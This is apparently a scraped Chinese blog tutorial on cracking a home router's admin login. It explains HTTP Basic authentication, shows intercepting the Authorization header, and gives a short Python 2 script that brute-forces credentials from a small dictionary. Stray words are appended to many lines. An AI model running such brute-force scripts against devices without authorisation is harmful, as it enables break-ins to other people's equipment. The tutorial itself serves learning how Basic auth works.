關於破解路由器密碼

http://daily.zhihu.com/story/3603866?utm_campaign=in_app_share&utm_medium=Androidpython

先看看上面的那個文章瀏覽器

------------服務器

Evi1m0大牛破解了路由器的鏈接密碼以後,又破解了路由器的管理登錄密碼,這個過程就是一筆帶過,在這裏詳細的說一下。多線程

首先說什麼是http basic認證app

在HTTP協議進行通訊的過程當中,HTTP協議定義了基本認證過程以容許HTTP服務器對WEB瀏覽器進行用戶身份證的方法,當一個客戶端向HTTP服務 器進行數據請求時,若是客戶端未被認證,則HTTP服務器將經過基本認證過程對客戶端的用戶名及密碼進行驗證,以決定用戶是否合法。客戶端在接收到HTTP服務器的身份認證要求後,會提示用戶輸入用戶名及密碼,而後將用戶名及密碼以BASE64加密,加密後的密文將附加於請求信息中, 如當用戶名爲anjuta,密碼爲:123456時,客戶端將用戶名和密碼用「:」合併,並將合併後的字符串用BASE64加密爲密文,並於每次請求數據 時,將密文附加於請求頭(Request Header)中。HTTP服務器在每次收到請求包後,根據協議取得客戶端附加的用戶信息(BASE64加密的用戶名和密碼),解開請求包,對用戶名及密碼進行驗證,若是用 戶名及密碼正確,則根據客戶端請求,返回客戶端所須要的數據;不然,返回錯誤代碼或從新要求客戶端提供用戶名及密碼。

咱們先抓包看看http頭是什麼樣的。工具

我使用的是firefox + tamper data,首先是安裝這個插件。編碼

https://addons.mozilla.org/zh-CN/firefox/addon/tamper-data/?src=search加密

安裝以後,按alt,就能顯示菜單欄了,工具 -- tamper data,url

 

開路由器的登陸網址,個人是http://192.168.1.253 spa

點擊上面的start tamper,而後輸入帳號密碼,

點擊tamper,攔截這個請求,而後能夠看到

 

看到Authorization這個了吧,後面跟的明顯是base64編碼的內容,咱們解碼看看

 

這就是咱們的帳號密碼中間加一個冒號,而後base64編碼。

基本原理明白了,咱們就能夠去寫程序破解了。

找一個帳號密碼字典,而後編碼,加到http頭,就是這個easy。

#coding:utf-8
import base64
import urllib2
password_dic = [["root", "root"], ["admin", "admin"], ["admin", "rootroot"]]
request = urllib2.Request('http://192.168.1.253')
#request.add_header('Authorization', 'Basic YWRtaW46cm9vdHJvb3Q=')
for item in password_dic:
    psw_base64 = "Basic " + base64.b64encode(item[0] + ":" + item[1])
    request.add_header('Authorization', psw_base64)
    try:
        response = urllib2.urlopen(request)
        print "Correct! Username: %s, password: %s" % (item[0], item[1])
        break
    except urllib2.HTTPError:
        print "Error!"

使用了python自帶的urllib2,上面password_dic就是本身隨便寫的,真正去破解的話,有很大的字典呢,並且多線程去跑。

request.add_header('Authorization', psw_base64)

就將咱們構造的帳號密碼的http頭加進去了。

看到了吧,最後破解出密碼就是admin-rootroot。(你來攻擊我啊~)
相關文章
相關標籤/搜索